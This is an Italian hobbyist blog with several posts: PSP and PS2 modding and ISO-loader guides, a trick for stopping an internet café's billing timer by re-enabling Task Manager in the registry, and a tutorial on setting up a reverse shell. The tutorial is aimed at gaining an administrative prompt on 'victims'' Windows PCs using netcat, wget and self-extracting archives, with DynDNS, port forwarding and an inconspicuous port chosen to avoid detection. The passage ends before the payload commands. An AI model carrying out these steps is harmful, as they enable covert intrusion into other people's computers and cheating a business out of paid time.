ora il blog ha anke un sito dedicato al download di software di cui avrete sicuramente bisogno. Il sito è http://notrus.altervista.org

lunedì 27 dicembre 2010

Modifica psp 3000 - Go con 6.20


.:Prerequisiti:.

-Una Psp con OFW 6.20 (anche la Go)

-HBL r. 109 con salvataggio modificato di Patapon 2 Demo[Download Qui ]

-Patapon 2 Demo Americana (UCUS98734) [Download Qui ]

-HEN [Download Qui ]

oppure per le 3000 (basta inserire i file nella Memory Stick)

-HBL+HEN fix 3000 [Download Qui ]

(la demo USA di Patapon 2 è richiesta ugualmente)

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.:Prima di iniziare:.

0)Formattate la Memory Stick prima da pc in "Fat" e successivamente dalla Psp

1)Aprite l'archivio dell'HBL e mettete la cartella "hbl" e il file "h.bin" nella root della Memory Stick

2)Posizionate la demo di Patapon 2 (UCUS98734) in PSP->GAME

3)Posizionate l'HEN in PSP->GAME

4)Mettete il salvataggio modificato della Demo di Patapon 2 in PSP->SAVEDATA

5)Create nella root della Memory Stick la cartella ISO

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.:Iniziamo la guida:.

1)Fate il procedimento qui sopra

2)Spegnete la Psp, accendetela ed andate in Gioco->Memory Stick ed avviate "Patapon 2"



3)Selezionate prima "No" alla seconda schermata invece "Yes"

4)Una volta nel menù del gioco cliccate su "Continue" , cliccate poi quando comparirà "Load completed." cliccate Cerchio

5)Farà il caricamento voi aspettate fino a quando in basso a destra non ci sarà scritto "PUSH ANY BUTTON" cliccate Croce e successivamente R1

6)Aspettate, dopo qualche secondo dovrebbe apparire il wMenù selezionate "HEN" e cliccate Croce



7)Una volta fatto la Psp si dovrebbe riavviare e tornare nel menù classsico della psp (XMB)

(per vedere se tutto è andato a buon fine cliccate SELECT , vi dovrebbe apparire un piccolo menù in trasparenza, per toglierlo ricliccate di nuovo SELECT )



Ora potete avviare tutti gli homebrew che volete basta metterli nella Memory stick In PSP->GAME

NB: Ogni volta che spegnerete la psp dovete rifare il procedimento dal punto 2

PS:Se volete che l'HEN parta automaticamente, senza selezionarlo dal wMenù, basta mettere l'EBOOT.PBP in hbl->GAME

Citazione:
.:Operazioni consigliate:.

Per aumentare le probabilità di successo nell'attivazione dell'HEN si consiglia di:

1. Formattare la Memory Stick (effettuare un backup dei contenuti prima di tale operazione)

2. Formattare la Flash1 tramite la pressione contemporanea dei tasti Triangolo + Quadrato + START + SELECT durante l'avvio della console successivo ad uno spegnimento totale della PSP (detto hard-reset) ottenuto mantenendo verso l'altro la levetta di accenzione fino allo spegnimento della console

3. Impostare la lingua inglese

4. Spegnere la WLAN

.: Problemi nell'avvio degli homebrew tramite HEN :.

Alcuni utenti hanno riscontrato problemi ad avviare homebrew tramite HEN. Tale problema potrebbe essere risolvibile mediante questa procedura:

1) Avviare l'HEN

2) Rimuovere la Memory Stick (assicurarsi che la spia arancione che indica la lettura/scruttura della Memory Stick sia spenta)

3) Premere SELECT e selezionare Restart VSH

4) Inserire nuovamente la Memory Stick

NB: E' consigliabile ripetere i passi dal 2 al 4 prima dell'avvio di ogni homebrew

.: Accedere al PSN:.

Grazie all'HEN è possibile accedere al PSN seguento questa procedura:

1) Avviare l'HEN


2) Premere SELECT e impostare la Fake Region in Debug Mode I

3) Premere SELECT e selezionare Restart VSH

4) Accedere normalmente al PSN

NB: Il successo della procedura non è garantito su tutti i modelli di PSP



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Ora possiamo avviare gli homebrew ma come avviamo i backup dei nostri giochi (ISO)?

Prometheus ISO Loader

.:Prerequisiti:.

-Psp con HEN 6.20

-Prometheus ISO Loader [Download Qui ]

-Backup dei nostri giochi [Guida su come dumpare gli Umd Qui ]

.:Procedimento:.

0)Mettete la cartella che si trova all'interno dell'archivio Prometheus ISO Loader in PSP->GAME

1)Come vedete nella vostra memory stick avete la cartella "ISO", mettete i vostri backup lì dentro

2)Andate in Gioco->Memory Stick , selezionate "Prometheus ISO Loader" ed avviatelo



3)Una volta avviato controlliamo se in basso a destra c'è scritto "Current ISO MODE: NP9660" in caso contrario clicchiamo SELECT



4)Con le frecce direzionali UP e DOWN selezionate il gioco e cliccate Croce

5)Attendiamo qualche secondo e partirà il gioco

OpenIdea ISO Loader

Attenzione!

L'OpenIdea ISO Loader è ancora una beta e quindi molti giochi non partiranno, ma con questo iso loader potremo avviare i backup da XMB

(quando uscirete da un gioco la psp crasherà)

.:Prerequisiti:.


-PSP con HEN

-OpenIdea ISO Loader 0.1 [Download Qui ]

-Didri ISO to EBOOT Converter[Download Qui ]

.:Procedimento:.

1)Estraete e copiate i 2 .prx dell'ISO Loader in PSP->SYSTEM

2)Estraete tutti i file che si trovano all'interno del "Didri ISO to EBOOT Converter" in una cartella vuota

3)Trascinate il vostro ISO/CSO su "iso_packer.exe" vi si aprirà una fiestra DOS, aspettate il completamento e vi troverete nella cartella del convertitore il vostro gioco in una cartella

4)Posizionate la cartella creata dal convertitore in PSP->GAME

5)Sulla PSP da Gioco>Memory Stick selezionate il vostro gioco e cliccate Croce e divertitevi




martedì 6 aprile 2010

Prolungare tempo negli internet cafè

PREMESSA:questo metodo funziona soltanto su internet point dove il vostro tempo a disposizione per navigare è controllato dal computer e non da una persona che vi stà dietro

Allora...dopo aver pagato e vi siete posizionati alla postazione dovermo hackerare il timer allo stop...
accedete al task menager, tra i processi attivi cercate il timer e terminatelo o prolunghiamo il timer.
Ma nella maggior parte degli internet point il task manager è terminato quindi vedremo anche come attivarlo.
andiamo sul regedit start>esegui>regedit(che è un registro di configurazione)
e andiamo sul seguente percorso: HKEY_CURRENT_USER > Appevents > software > classes > microsoft > windows >current version > internet settings > policies > system qui trovate la chiave Disable TaskManager e mettete il valore "0"(senza virgolette) adesso è accessibile il task manager.
(questo metodo non funziona in tutti i sistemi operativi)

Account megavideo

C'è il sito http://megastreaming.tk/ che vi permette di inserire il link del video che volete guardare su megavideo, dopodichè vi fa vedere il video senza limiti di tempo, proprio come se foste utenti premium . Testato personalmente...funziona benissimo.

Comunque se installate Video Download helper ( un addon di firefox che permette di salvare i video ) scaricabile a questo indirizzo , potrete salvarvi il video...dopo aver caricato tutto il buffer...

lunedì 22 febbraio 2010

Modifica ps2 FAT

ecco una guida che hofatto per modificare la vecchia ps2 FAT
nn è una vera modifica, in quanto non modificate proprio nulla, mettete solo lo standard hard disc predisposto da sony, e usate un programma da memory card.

l'unica cosa che dovete avere è il NETWORK adaptor ed un hard disc

TUTTI I FILE MENSIONATI SONO REPERIBILI A QUESTO LINK:
http://notrus.altervista.org/modifica_hard_disc_ps2_FAT.rar
OPPURE POTETE RIVOLGERVI A ME PERSONALMENTE

1. Creazione HD LOADER

Per creare il vostro HDLOADER.ELF su misura è necessario il tool HDL_AIO 2.5.4.
Una volta scompattato il file HDL_AIO_2.5.4.rar otterremo 3 sotto directory README, STUB e TOOLS. Se volessimo applicare l’ultima patch disponibile (attualmente hdlpatch_0.7c.exe) dovremmo copiarla nella directory TOOLS e rinomarla come hdlpatch.exe (ovviamente cancellando il vecchio file)

Nella figura seguente la finestra principale del programma HDL_AIO_2.5.4.



Il programma è molto intuitivo. Basta scegliere il file non compresso, applicare le patch, consiglio “/n, /c, /s, /l, /d” (/C serve per avere il supporto di dvd da 9 Gb) selezionare patch, quindi ritornando al finestra selezionare dal menu OTHER TOOLS l’opzione PACK e cliccare su APPLY PACTHES. Ovviamente potete scegliere anche delle immagini di fondo, ma ricordo che queste aumenteranno la grandezza dell’hdloader che andremo a comprimere (le immagini sono poco comprimibili).
Per aver un ELF molto più compresso dovete usare ps2-packer-0.4.4-win o ps2-packer-lite-0.4.4 per comprimerlo. Infine per ridurre di molto le dimensioni, occorre cambiare le immagini di splash e main con immagini monocolore prima di comprimerlo, oppure di non inserirle proprio così da ottenere un file di 190k.



2. Creazione del file BEDATA-SYSTEM

-BEDATA con utility
Dopo aver creato HD Loader su misura per noi ecco cosa dovete procurarvi:

Accessori e SW necessari
1) Un cd originale PSX (gioco o demo), che sia Europeo.
2) Una penna USB
3) L’applicativo titleman.exe (fornitovi nella cartella)
4) La cartella BEDATA-SYSTEM (che contiene i programmi che si vogliono installare sulla memory card). Potete trovare un BEDATA-SYSTEM già preconfezionato nei file in allegato a questa discussione.
5) Ovviamente una PS2 (modificata o non)
6) Una memory card ps2 con spazio libero necessari o (generalmente almeno 700 kb, dipende da i tool che vogliamo inserire sulla memory)

SW facoltativi
7) Titlefrontend

Se non volete complicarvi la vita a cercare su web i file menzionati potete prendere la cartella BEDATA-SYSTEM da questo file
Il seguente file contiene i pacchetti:
BOOT.ELF (uLauncELF)
HD_LOADER_28.ELF
HDLD_SVR.ELF
IPCONFIG.DAT

TUTTI I FILE MENSIONATI SONO REPERIBILI A QUESTO LINK:
http://notrus.altervista.org/modifica_hard_disc_ps2_FAT.rar
OPPURE POTETE RIVOLGERVI A ME PERSONALMENTE

Lo scopo che ci prefiggiamo è quello di creare una cartella BEDATA-SYSTEM da trasferire sulla memory card, che contenga determinati programmi (eseguibili) e librerie che ci possano servire. Per esempio il file HD_LOADER.ELF che non è altro (come si può intuire dal nome) il programma Hd Loader vero e proprio.

NB: Apriamo una parentesi perché in giro per la rete è possibile trovare vari tipi di HDLOADER.ELF. In grandi linee li possiamo dividere in due categorie: quelli a 28bit e quelli a 48bit. La differenza è la seguente: la versione a 28 bit gestisce Hard Disk di capacità 120Gbyte, mentre la versione a 48 bit permette di gestire anche HD 120Gbyte fino a 2 Tbyte. Quindi la prima cosa da fare è: procurarsi un HDLOADER.ELF adatto al proprio hard disk. Inoltre esistono diverse versioni di Hdloader, o meglio con patch. Le patch garantiscono una
maggiore compatibilità con i giochi, infatti non tutti funzionano con Hd Loader, ad esempio Sprinter Cell 3 e Fahrenheit. Ad oggi la più recente patch è la 0.7c. Se siete fortunati potete trovare la versione non compressa di Hd Loader (dovrebbe essere grande 2.977.792 byte), e con Patch HDLoader 0.7c All Inclusive 2.0 potete applicare le patch che volete e quindi comprimerlo. Se applicate la patch 0.7c hdloader funzionerà anche con i dvd da 9gb (GT4 compreso).

Per il trasferimento di giochi in formato ISO da HD a PC useremo WinHIIP 1.7.3 o HD Dump 0.82 o Lord BoGaMiGUI 2.1.

NB: I giochi possono essere trasferiti sull’hard disk anche direttamente dal lettore della ps2, utilizzando l’opzione Installa di Hd Loader, ma i dvd a doppio strato, i dvd9, non. Quindi in tal caso dovete trasferirli in un altro modo. In ogni caso sconsiglio di utilizzare il lettore della ps2 per trasferire i giochi perché a lungo andare lo rovinereste.


Ma torniamo alla creazione della cartella BEDATA-SYSTEM.
Ecco i maggiori file che utilizzeremo per il nostro BEDATA-SYSTEM:



Come file BOOT.ELF consiglio a tutti uLaunchELF.rar(quello in allegato), uno dei migliori boot per PS2, in quanto non ha bisogno di file sys per la gestione dei file da penne USB e HD esterni. Ha una comoda configurazione grafica, semplice e compatibile con tantissimi utility .ELF.



-Creazione TITLE.DB per BEDATA
Ora dobbiamo creare il file TITLE.DB associato al cd ps1 ( l’id del cd). Inserite il cd originale PS1 nel lettore del PC e aprite con il notepad il file SYSTEM.CNF (che verrà nella maggior parte riconosciuto da Windows come file di Impostazioni di Connessione o roba simile, ma che va comunque aperto con NOTEPAD). Leggerete una cosa del tipo:

BOOT = cdrom:\SLES_003.22;1
TCB = 4
EVENT = 18
STACK = 801ffff0

Annotate quindi la stringa dopo cdrom:\, nel nostro caso SLES_003.22 (rappresenta l’id del cd). Aprite una shell dos (da Windows Start->Esegui...->cmd [INVIO] .) e andate nella directory dove avete copiato titleman.exe, oppure mettetelo su c: e digitate c: nel prompt dei comandi, quindi digitate titleman -c [INVIO] per creare il file TITLE.DB nel caso che non ne abbiate una copia, quindi titleman -a XXXX_XXX.XX [INVIO] sostituendo alle X la stringa di qua sopra (cioè nel nostro esempio titleman –a SLES_003.22, mi raccomando che la stringa sia scritta con lettere maiuscole).
Se il procedimento è andato a buon fine otterremo come ultimo output del programma: Adding 'XXXX_XXX.XX' to TITLE.DB... done

Infine chiudete il prompt. In questo modo avete creato un file TITLE.DB personalizzato, cioè associato al cd ps1 in vostro possesso. Mettete il file TITLE.DB nella cartella BEDATA-SYSTEM.

Una vota scelto il vostro BEDATA-SYSTEM e messo tutti i file in una cartella rinominata “BEDATA-SYSTEM”, senza virgolette, siamo pronti a procedere al trasferimento su Memory Card.




3. Trasferire BEDATA-SYSTEM su Memory Card

-Per console MODIFICATE
Masterizzate la ISO presente nella cartella ulancher con DVD Decrypter.
Ora mettete su penna USB la cartella BEDATA-SYSTEM.
Dopo di che mettete il cd masterizzato nella vostra PS2. Comparirà il menù di uLaunchELF.
Inserite la penna USB. Dopo di che andate in mc0 e cancellate il contenuto di BEDATA-SYSTEM, selezionandolo con X e premendo R1 (selezionate poi delete). Fatto ciò tornate indietro nel menù e selezionate mass. Selezionate sempre con X tutti i file contenuti in BEDATA-SYSTEM della vostra Pen Drive e, premendo R1, selezionate Copy.
Tornate in mc0, andate in BEDATA-SYSTEM e, premendo R1, selezionate Paste.
Attendete che termini.
Complimenti. Avete completato con successo il vostro trasferimento. Ora quando inserirete il CD della PSX che avete scelto comparirà il vostro BOOT e potrete divertirvi come volete.

-Per console ORIGINALI Se disponete di un amico che ha la console modificata, inserite nella sua console la vostra memory card e ripetete il procedimento enunciato sopra.
Se invece non conoscete nessuno che abbia la PS2 modificata potete inviarmi tramite Posta Raccomandata la vostra Memory Card e provvederò io stesso a creare l’Exploit sulla vostra memory.

4. Trasferire le immagini ISO sull’hard disk della ps2

Per trasferire i giochi sull’hard disk della ps2 abbiamo 2 possibilità:
1) Collegando l’hard disk della ps2 direttamente a un PC con sistema operativo Windows e usare l’applicativo WinHIIP
2) Collegare la PS2 ad un PC tramite LAN e trasferire le immagini ISO via rete
3) Tramite HD Loader stesso (Sconsigliatissimo)

Molti dicono che conviene smontare fisicamente l'hard disk dalla ps2 e montarlo su un PC con WINHIIP perché si fa prima e funziona sicuramente. Io non sono d'accordo perché qualche volta WINHIIP ha fatto dei danni (nel senso che alcune immagini sono state cancellate, sentito sul forum diverse volte ), senza contare il fatto che non tutti hanno la delicatezza necessaria a effettuare più volt e il procedimento senza qualche incidente di percorso.
Via rete ci si mette più tempo ma almeno non si fa un trasloco ogni volta che devo aggiungere un gioco.
Consiglio l’uso di WinHIIP giusto la prima volta, quando avete l’hard disk ancora vergine, e trasferite in unica occasione tutti i file immagini (gli iso) dei giochi in vostro possesso.



Nei paragrafi seguenti spiegherò entrambe le metodologie

NB. Consiglio di usare WinHIIP in fase di installazione, cioè la prima volta. Trasferite tutte le ISO a vostra disposizione. In seguito di usare solo il metodo via LAN. Lord BoGaMi GUI 2.1 permette di lavorare anche in locale, quindi con l’hard disk collegato direttamente, o tramite switch, al pc.



4.1. Trasferire le immagini iso con WinHIIP vers. 1.7.6
SW e HW necessari
1) L’hard disk da inserire nella ps2
2) WinHIIP 1.7.6

Per collegare l’hard disk al PC procediamo in questo modo: spegniamo sia il PC sia la PS2 e facendo attenzione estraiamo il Network Adapter + HDD dal vano apposito.
Sempre con attenzione stacchiamo il NA dall'HDD, prendendo quest’ ultimo e rivedendo la configurazione dei Jumper, in modo che sia adatta al cavo IDE del PC al quale l'HDD sarà attaccato. Apriamo quindi il PC e colleghiamo l'HDD ad un cavo IDE e alla rispettiva alimentazione. Accendiamo il PC, e facciamo partire il nostro tool WinHIIP per dumpare le immagini sull'HD della PS2. All’avvio di WinHIIP, l’applicativo mostrerà la seguente finestra:



Cliccare su Select Drive e selezionare l’hard disk sul quale volete trasferire le immagini ISO. Se l’hard disk è ancora vergine oppure è gia stato formattato in modalità ps2, esso non sarà visibile da windows, ma sarà visibile soltanto dall’applicativo WinHIIP, quindi non vi preoccupate.
Ora cliccare su Program Options



Selezionare le opzioni Reduce Fragmentation e 48 Bit LBA se usate un HD Loader a 48 bit e un Hard Disk >128Gb. Cliccate su OK.
Cliccate su PS2 Format, lasciando tutto invariato. Il tool creerà diverse partizione tra cui una che se non sbaglio si chiama SAVES e COMMON. Consiglio, una volta montato l’HD di inserire l’intero contenuto del BEDATA-SYSTEM, ad eccetto di BOOT.ELF e TITLE.DB in questa cartella, in modo da non occupare spazio inutile sulla memory Card.
Quindi cliccate su OK.
Ora avete 2 modi per aggiungere le immagini ISO sull’hard:

1) La prima inserendo direttamente il dvd/cd ps2 nel lettore e quindi cliccare su Add CD/DVD . Scegliere la modalità (saranno visualizzati tre tasti 1, 2 e 3, la loro combinazione fornirà la modalità su come saranno avviati.
Ricordo che le modalità sono 8

La modalità #1 è attiva quando 1 & 2 & 3 sono "Disabled"
La modalità #2 è attiva quando 1 è "Enabled" e gli altri "Disabled"
La modalità #3 è attiva quando 2 è "Enabled" e gli altri "Disabled"
La modalità #4 è attiva quando 3 è "Enabled" e gli altri "Disabled"
La modalità #5 è attiva quando 1 & 2 sono "Enabled" e gli altri "Disabled"
La modalità #6 è attiva quando 1 & 3 sono "Enabled" e gli altri "Disabled"
La modalità #7 è attiva quando 2 & 3 sono "Enabled" e gli altri "Disabled"
La modalità #8 è attiva quando 1 & 2 & 3 sono "Enabled"

NB. Gli 1,2,3 della prima modalità fanno riferimento a delle opzioni di HD Loader. La modalità può essere selezionata anche da HD Loader stesso premendo SELECT. L’HD Loader patchato prevede altre modalità. Ma quelle fondamentali sono le prime e 3.

2) Il secondo metodo permette di trasferire direttamente le immagini iso già prevaricate su un device del PC (hardisk), basta scegliere Add Image(s). Tale opzione permette di caricare più immagini e setterà le modalità di ogni immagine a #1 che ovviamente possono essere modificate successivamente con il tasto Edit Image Setting che permette di rinomare e/o cambiare la modalità di un file iso registrato sull’hard disk della ps2.
Il tasto Extract Image(s) permette di estrarre le iso dall’hard disk ps2 e copiarle su hard di un pc. Remove(s) Image(s) cancella dall’hard disk per ps2 le immagini iso selezionate

NB. Se volete creare delle immagini iso sull’hard del vostro PC per poi trasferirle sull’hard disk
della ps2 vi consiglio di usare DVD Decrypter (Come caricare le immagini dei giochi DVD 9Gb e
in genere ostici ) e di avere una FAT NTFS (quindi sistemi operativi NT, 2000 o Windows XP).
Se avete dvd > 4GB e volete creare l’iso sull’hard disk del vostro PC, ricordatevi di aver una FAT NTFS, altrimenti l’iso file viene spezzato in due file, no da 4 gb e uno più piccolo e in questo caso poi non lo potete trasferire più sull’HD della PS2.

Una volta che abbiamo finito di trasferire tutte le iso che ci interessano, spegniamo il PC e smontiamo l'HD della PS2, per poi riporlo al suo posto nel vano della PS2 insieme al Network Adapter. Ricordiamoci di rimettere i Jumper su Master o Cable Select, altrimenti la PS2 non lo riconosce.



4.2.Trasferire ISO File tramite LAN
SW e HW necessari
1) HDLD_SVR.ELF 0.82 installato su memory card (lo trovate nel Tool Lord BoGaMi GUI 2.1)
2) Il pacchetto Lord Bogami GUI 2.1
3) Un PC con windows (in quanto Lord Bogami è solo per piattaforma PC; potete, in alternativa usare Wine su sistemi operativi Open Source come le distro di Linux) e ovviamente con una scheda di rete correttamente installata.
4) Un cavo di rete incrociato (Cross Ethernet) o due cavi di rete e uno switch
5) Network Adapter PS2

Connettere il PC alla PS2 mediante il cavo di rete incrociato, oppure se disponete di una LAN , quindi avete uno Switch, potete collegare la PS2 direttamente allo Switch.
Seguendo la procedura descritta precedentemente, trasferire su memory card utilizzano il file BEDATA-SYSTEM anche i seguenti file (oltre a BOOT.ELF):
HDLD_SVR.ELF
IPCONFIG.DAT

Il file IPCONFIG.DAT è un file test che contiene la configurazione di rete della PS2. Per crearlo aprire Notepad e digitare: 192.168.0.10 255.255.255.0 192.168.0.1
Quindi salvare il file con il nome IPCONFIG. Una volta salvato, cambiare l’estensione da .TXT a .DAT e quindi copiatelo nel file BEDATA-SYSTEM. Il file IPCONFIG.DAT definisce la configurazione di rete della ps2: la prima quaterna 192.168.0.10 rappresenta lP Address, la seconda 255.255.255.0 il Subnet Mask, mentre la terza 192.168.0.1 rappresenta l’IP del Gateway.

NB. Ricordo che le tre quaterne sono separate da uno spazio.

Una volta trasferito il tutto sulla PS2, dobbiamo configurare la rete del PC.

Se il PC è connesso in LAN lasciate stare tutto, l’importante è che l’indirizzo del gateway sia quello dello Switch o del Router. Se invece connettete direttamente il PC alla PS2 dovete configurare il PC in modo da essere lui stesso il gateway.

FATE ATTENZIONE A QUESTO PASSAGGIO ALTRIMENTI IL COMPUTER NON SI COLLEGHERA’ ALLA PS2
01) accendete il PC (senza collegarvi ad internet)
02) andate su connessioni di rete: menù start -> impostazioni -> connessioni di rete
03) mouse sopra a "connessione alla rete locale (LAN)"
click con tasto destro: aprire le "poprietà"
in proprietà: spostatevi sulla finestra "avanzate" e disabilitate il "firewall di windows" togliendo la spunta (v)
--> click su "OK" per confermare le modifiche e chiudere la finestra
04) ora, sempre da menù "connessioni di rete"
05) mouse sopra alla vostra connessione ADSL predefinita (quella che utilizzate per navigare in internet)
--> click con tasto destro: aprire le "poprietà" (aprite le proprietà della connessione adsl)
--> in proprietà: spostatevi sulla finestra "avanzate" e disabilitate il "firewall di windows" togliendo la spunta (v)
--> sempre in "avanzate" abilitate la "condivisione connessione internet" applicando la spunta
--> sempre in "condivisione connessione internet" selezionate/abilitate la "connessione alla rete locale (LAN)"
--> in proprietà: spostatevi sulla finesta "rete" (spostatevi da "avanzate" a "rete")
--> selezionate e spuntate la voce "protocollo internet (TCP/IP)" poi fate click su "proprietà" (proprietà del protocollo tcp/ip)

Ora inserite i seguenti dati :
indirizzo ip: 192.168.0.10 (l'indirizzo ip della nostra ps2)
netmask: 255.255.255.0
router predefinito: 192.168.0.1 (l'indirizzo ip/gateway del pc al quale è collegata la ps2)

In questo modo il PC fungerà da gateway.

-Collegare la PS2 in LAN o con il PC
Una volta che il menù è partito sulla PS2, eseguire HDLD_SVR.ELF.
Accendere il PC e verificare che sia in rete cliccando sull’icona che mostra due monitor in basso a destra.

-Trasferimento file ISO via rete con Lord BoGaMi's HDL_Dump GUI 2.1
Nel pacchetto trovate anche una versione speciale di hdld_svr.elf. Fate in modo di eseguire questa sulla ps2 per sfruttare al meglio le potenzialità del tool. Nel caso non usate questo elf, abilitate l’opzione COMPRESSION nel tool.
Una volta installato l’applicativo , cliccate su Preference, quindi:
-Selezionate la lingua italiana
-Inserite l’IP della ps2, di solito 192.168.0.10
-Spuntate l’opzione Enable ASPI
-Se avete un hd < 120 Gb spuntate anche l’opzione Limit to 28 bit
-Se non usate l’hdld_svr.elf allegato al pacchetto, abilitate Use Compression
-Spuntate l’opzione Zer0-X 0.6d Release

Cliccate su Salva Opzioni. L’applicativo vi porterà alla finestra di menù principale.

Adesso potete lavorare sul pc o sulla ps2. Il tool è intuitivo. Da ricordare che Lord BogaMi’s GUI permette anche di eseguire una coda , cioè di selezionare più ISO file e quindi trasferirli uno dopo l’l’altro.

Lavora su PC: permette di trasferire ISO da PC a PS2, da CD/DVD a PS2 o creare semplicemente le ISO da CD/DVD. È possibile anche lavorare con un hard disk collegato direttamente al pc (e non via rete), selezionando l’icona locale. Una volta scelto quello che si vuole fare basta cliccare su Avvia Lavoro. Come accennato precedentemente il tool permette di selezionare più ISO tramite Aggiungi in coda. Non mi dilungo su resto perché penso che la figura seguente sia eloquente

Se da menù principale clicchiamo su Lavora su PS2, verrà mostrata la seguente finestra:

Qui possiamo
-Lavorare sulla PS2 via rete o in locale (hd PS2 collegato direttamente al PC) selezionando
rispettivamente l’icona LAN o Locale
-Estrarre ISO dalla PS2
-Cancellare ISO dalla PS2
-Trasferire ISO da una PS2 ad un'altra
-Stampare la lista degli ISO file caricati sull’hard disk della ps2
-Spegnere la ps2

NB. Priam di eseguire queste operazioni premere Stampa Lista Immagini.


5. Installare un hard disk nella ps2 v1-v10

Materiale:

- Un Network Adapter SONY
- Un hard disk con connessione IDE (possibilmente Maxtor)

Dopo avere l’hardware richiesto procediamo all’installazione:

1) Verificare che siano compatibili tra di loro
2) Procedere come nei punti 3 e 4.
3) Settare l’Hard disk come master (verificare la configurazione dei jumper presenti sull’hd stesso)
4) Connetterlo al Network Adapter come in figura
5) Spegnere la ps2 e staccare i cavi di alimentazione
6) Svitare la parte posteriore della ps2
7) Collegare il Network Adapter con l’hard disk. Non avvitare con forza



Complimenti. Avete fatto l'ultimo passo verso una PS2 completa di HDD.

TUTTI I FILE MENSIONATI SONO REPERIBILI A QUESTO LINK:
http://notrus.altervista.org/modifica_hard_disc_ps2_FAT.rar
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lunedì 28 dicembre 2009

revers shell


Una reverse shell è un tipo di attacco che permette di ottenere il prompt dei comandi di un sistema remoto con diritti amministrativi.

A differenza di una "direct shell", non è chi attacca che si collega al pc-vittima. Sarà bensì il pc-vittima che si collegherà al pc di chi attacca, fornendogli il prompt dei comandi.

Questo consente di ovviare ai già discussi problemi di "pass-through", ossia riuscire a sorpassare firewall, router e quant'altro blocchi le connessioni in ingresso verso il pc-vittima.

Il tutorial che segue cercherà di spiegare come impostare una reverse shell per ottenere il controllo del prompt dei comandi di sistemi remoti basati su Windows.



Strumenti necessari:

NetCat (nc.exe, network utility che permette di agganciare programmi in riga di comando e redirezionare l'input e l'output da e verso un sistema remoto)
WinRar (software utility di compressione / decompressione archivi; utilissimo per creare i famigerati archivi autoestraenti)
Editor del Registro di sistema (reg.exe, software utility di editazione del registro di windows da riga di comando)
WebGet (wget.exe, network utility che permette di scaricare qualsiasi file via HTTP o FTP direttamente da riga di comando)

Prerogative:

Iscrizione ad un servizio di DNS dinamici (tipo DynDNS, No-IP, etc.)
Installazione di un client Updater di DNS dinamici sul proprio PC
Apertura di una porta TCP (liberamente scelta) sul firewall del proprio PC
Eventualmente (se ci si collega ad internet con un router), forward della porta TCP che è stata scelta, dal router al proprio PC Client.




- PARTE 1 - Preparazione del proprio PC

Si inizia con l'iscrizione al servizio di DNS dinamici. I DNS dinamici sono necessari per poter "ritrovare" il nostro pc in internet senza dover ogni volta andare a controllare il nostro IP pubblico (che cambia, di tanto in tanto, essendo un IP dinamico).

In questo esempio si userà il servizio fonito da DynDNS.org [http://www.dyndns.org].



CREAZIONE HOST DYNDNS

Recarsi sul sito http://www.dyndns.org ed effettuare un'iscrizione.
Una volta iscritti e verificati, recarsi nella sezione "My services" e cliccare il link "add hostname" in prossimità della sezione "Host Services".
Qui avrete la possibilità di scegliervi una specie di dominio di terzo livello. Dovrete scegliere, dal menu a tendina sulla destra, un "suffisso" (ce ne sono diversi, dyndns.org, blogsite.org, kick-ass.org, etc.). Scegliete quello che più vi aggrada. In quest'esempio ho scelto "kick-ass.org".
A questo punto, è necessario scegliere un "prefisso", che starà prima di kick-ass.org. In questo esempio io ho scritto "shell", in modo da formare il dominio di terzo livello shell.kick-ass.org.
Poi, cliccate sul link "Use auto detected IP address xxx.xxx.xxx.xxx" che c'è sotto. Questo farà in modo che il dominio che si sta per creare punterà subito all'IP della vostra connessione ad internet.
Ora potete cliccare il bottone "Create Host", per confermare la creazione del vostro DNS dinamico.

(naturalmente, il servizio suddetto è del tutto gratutito. DynDNS offre anche servizi "premium" a pagamento, ma per quello di cui abbiamo bisogno ci và più che bene il servizio base gratuito).



INSTALLAZIONE DYNDNS UPDATER SUL PROPRIO PC

Ora che abbiamo registrato correttamente il nostro host e l'abbiamo sincronizzato al nostro attuale indirizzo IP, abbiamo bisogno di installare un software "updater" che faccia in modo che ogni volta che il nostro IP cambia l'host shell.kick-ass.org venga risincronizzato con il nuovo IP.

DynDNS offre un client gratuito. Recatevi su https://www.dyndns.com/support/clients/ e cliccate il link "Download Now" che è presente sulla destra. In questo modo scaricherete il software DynUpSetup.exe.

Eseguite il setup e premete "next" fino ad arrivare alla schermata "Install as a service". Qui raccomando di mettere il segno di spunta sulla casella "Install the DynDNS Updater as a Windows Service". In questo modo, l'updater sarà installato come un servizio di windows, e si avvierà automaticamente fornendovi una sincronizzazione dell'IP completamente automatica.
Al termine dell'installazione, si aprirà una schermata che vi chiede le informazioni del vostro account DynDNS (nome utente e password). Inserite i dati e vedrete che il programma aggiungerà il nome host shell.kick-ass.org all'interno della finestra. Cliccate il quadratino in prossimità del nome host per impostare la sincronizzazione. Ora cliccate il bottone "OK" e il gioco è fatto.



SCELTA DELLA PORTA TCP DA USARE PER LE CONNESSIONI E RELATIVA APERTURA SUL FIREWALL DI WINDOWS

A questo punto è necessario decidere quale porta TCP usare per accettare le connessioni in ingresso delle future vittime.

Qualsiasi porta puo' andar bene.. Ovviamente, conviene scegliere una porta "poco sospetta", dove nessun eventuale curiosone andrebeb a cercare eventuali servizi in ascolto.
A tal proposito, direi che una qualsiasi porta TCP dalla 40000 alla 50000 può andar bene.
Nel nostro esempio useremo la porta TCP 43712 (e sfido qualsiasi curiosone ad immaginare che su quella porta ci giri un servizio!).

Recatevi sul pannello di controllo del vostro PC, cliccate l'icona "Widnows Firewall", recatevi sulla scheda "eccezioni" (se usate Vista, prima dovete cliccare sul link "Modifica impostazioni") e cliccate il bottone "Aggiungi porta".
A questo punto inseriremo: come nome porta "revshell" (ovviamente è solo un esempio), come numero porta 43712, come protocollo TCP.
Ora potete premere "OK" e di nuovo "OK". Il firewall di windows è stato correttamente impostato per lasciar passare le connessioni in ingresso sulla porta TCP 43712.

Se vi connettete ad internet tramite modem USB o modem Ethernet (in questo caso, di solito ci si connette con username e password direttamente da windows) siete pronti così e non avete bisogno di ulteriori passaggi per configurare le connessioni in ingresso.



PER CHI USA UN ROUTER PER CONNETTERSI AD INTERNET, PORT-FORWARD

Chi usa un router (che sia cablato o wireless, non fà differenza) ha bisogno di un ulteriore passaggio per accettare connesisoni in ingresso.
Sarà necessario impostare un port-forwarding dalla porta TCP 43712 del router alla porta TCP 43712 del proprio PC client.
Per capirci, se usate emule con un router non configurato, incapperete nel famoso problema dell'ID basso (l'iconcina del mulo ha una benda nera sugli occhi). E' esattamente la stessa situazione in cui ci troviamo noi con questa guida.
